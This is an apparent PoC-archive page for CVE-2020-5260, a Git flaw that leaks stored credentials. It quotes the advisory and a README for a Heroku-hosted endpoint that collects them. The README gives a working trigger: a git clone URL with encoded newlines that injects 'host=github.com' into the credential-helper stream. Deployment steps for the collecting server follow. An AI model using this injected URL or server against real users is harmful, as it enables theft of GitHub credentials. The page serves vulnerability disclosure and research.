Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-5260 PoC — malicious URLs may cause Git to present stored credentials to the wrong server

Source
Associated Vulnerability
Title:malicious URLs may cause Git to present stored credentials to the wrong server (CVE-2020-5260)
Description:Affected versions of Git have a vulnerability whereby Git can be tricked into sending private credentials to a host controlled by an attacker. Git uses external "credential helper" programs to store and retrieve passwords or other credentials from secure storage provided by the operating system. Specially-crafted URLs that contain an encoded newline can inject unintended values into the credential helper protocol stream, causing the credential helper to retrieve the password for one server (e.g., good.example.com) for an HTTP request being made to another server (e.g., evil.example.com), resulting in credentials for the former being sent to the latter. There are no restrictions on the relationship between the two, meaning that an attacker can craft a URL that will present stored credentials for any host to a host of their choosing. The vulnerability can be triggered by feeding a malicious URL to git clone. However, the affected URLs look rather suspicious; the likely vector would be through systems which automatically clone URLs not visible to the user, such as Git submodules, or package systems built around Git. The problem has been patched in the versions published on April 14th, 2020, going back to v2.17.x. Anyone wishing to backport the change further can do so by applying commit 9a6bbee (the full release includes extra checks for git fsck, but that commit is sufficient to protect clients against the vulnerability). The patched versions are: 2.17.4, 2.18.3, 2.19.4, 2.20.3, 2.21.2, 2.22.3, 2.23.2, 2.24.2, 2.25.3, 2.26.1.
Description
A HTTP PoC Endpoint for cve-2020-5260 which can be deployed to Heroku
Readme
# cve-2020-5260
A HTTP PoC Endpoint for cve-2020-5260 which can be deployed to Heroku

# CREDIT INFORMATION
Felix Wilhelm of Google Project Zero
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

# Trigger the vuln

```
git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

```

# Get PoC onto Heroku

Click this button to automagically deploy to Heroku...

[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy)

Or follow the steps below...

Yes, I understand the irony of having to run Git clone commands to setup this PoC....

### Install the Heroku CLI via https://devcenter.heroku.com/articles/heroku-cli

If you haven't already, log in to your Heroku account and follow the prompts to create a new SSH public key.

```
$ heroku login
```
### Clone the repository
Use Git to clone cve-2020-5260's source code to your local machine.

```
$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260
```
### Deploy your changes
Make some changes to the code you just cloned and deploy them to Heroku using Git.
```
$ git add .
$ git commit -am "make it better"
$ git push heroku master
```
File Snapshot

[4.0K] /data/pocs/a95325fa85df922d03c5b2791f72d07516596c2d ├── [ 267] app.json ├── [ 87] go.mod ├── [1.0K] LICENSE ├── [1.4K] main.go ├── [ 19] Procfile └── [1.2K] README.md 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →